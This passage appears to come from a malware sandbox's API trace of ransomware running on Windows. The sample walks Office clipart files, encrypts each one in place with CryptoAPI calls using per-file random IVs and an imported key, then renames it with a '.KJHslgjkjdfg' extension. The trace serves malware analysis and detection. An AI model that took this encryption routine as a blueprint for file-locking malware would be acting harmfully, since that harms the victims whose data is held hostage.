hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.461] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.461] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.461] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x59a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x59a0, lpOverlapped=0x0) returned 1 [0199.462] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59a0, dwBufLen=0x59a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59a0) returned 1 [0199.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.463] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x59a0, lpOverlapped=0x0) returned 1 [0199.463] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.463] SetEndOfFile (hFile=0x130) returned 1 [0199.466] GetProcessHeap () returned 0x990000 [0199.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.466] GetProcessHeap () returned 0x990000 [0199.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.kjhslgjkjdfg")) returned 1 [0199.468] CloseHandle (hObject=0x130) returned 1 [0199.468] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0199.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.471] GetProcessHeap () returned 0x990000 [0199.471] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.471] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.471] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.474] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.474] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.474] GetProcessHeap () returned 0x990000 [0199.474] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.474] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.474] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.475] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.475] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.475] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.475] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1334, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1334, lpOverlapped=0x0) returned 1 [0199.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1340, dwBufLen=0x1340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1340) returned 1 [0199.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.476] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1340, lpOverlapped=0x0) returned 1 [0199.477] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.477] SetEndOfFile (hFile=0x130) returned 1 [0199.479] GetProcessHeap () returned 0x990000 [0199.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.480] GetProcessHeap () returned 0x990000 [0199.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.kjhslgjkjdfg")) returned 1 [0199.547] CloseHandle (hObject=0x130) returned 1 [0199.547] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0199.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.549] GetProcessHeap () returned 0x990000 [0199.549] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.549] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.549] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.552] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.552] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.552] GetProcessHeap () returned 0x990000 [0199.552] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.552] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.552] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.552] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.552] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.552] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.553] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.553] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.553] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.553] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.553] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d3c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d3c, lpOverlapped=0x0) returned 1 [0199.554] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d40, dwBufLen=0x1d40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d40) returned 1 [0199.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.554] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d40, lpOverlapped=0x0) returned 1 [0199.555] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.555] SetEndOfFile (hFile=0x130) returned 1 [0199.558] GetProcessHeap () returned 0x990000 [0199.558] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.558] GetProcessHeap () returned 0x990000 [0199.558] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.kjhslgjkjdfg")) returned 1 [0199.559] CloseHandle (hObject=0x130) returned 1 [0199.559] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0199.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.560] GetProcessHeap () returned 0x990000 [0199.560] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.561] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.561] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.563] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.563] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.563] GetProcessHeap () returned 0x990000 [0199.563] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.563] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.563] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.563] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.563] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.564] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.564] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.564] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.564] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.564] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13b8, lpOverlapped=0x0) returned 1 [0199.565] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13c0, dwBufLen=0x13c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13c0) returned 1 [0199.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.566] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13c0, lpOverlapped=0x0) returned 1 [0199.566] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.566] SetEndOfFile (hFile=0x130) returned 1 [0199.569] GetProcessHeap () returned 0x990000 [0199.569] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.569] GetProcessHeap () returned 0x990000 [0199.569] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.kjhslgjkjdfg")) returned 1 [0199.571] CloseHandle (hObject=0x130) returned 1 [0199.571] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0199.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.572] GetProcessHeap () returned 0x990000 [0199.572] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.572] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.572] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.576] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.576] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.576] GetProcessHeap () returned 0x990000 [0199.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.576] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.576] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.576] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.576] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.576] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.576] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.576] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.576] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.577] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.577] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1284, lpOverlapped=0x0) returned 1 [0199.578] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1290, dwBufLen=0x1290 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1290) returned 1 [0199.578] SetFilePointerEx (in: hFile=0x130, 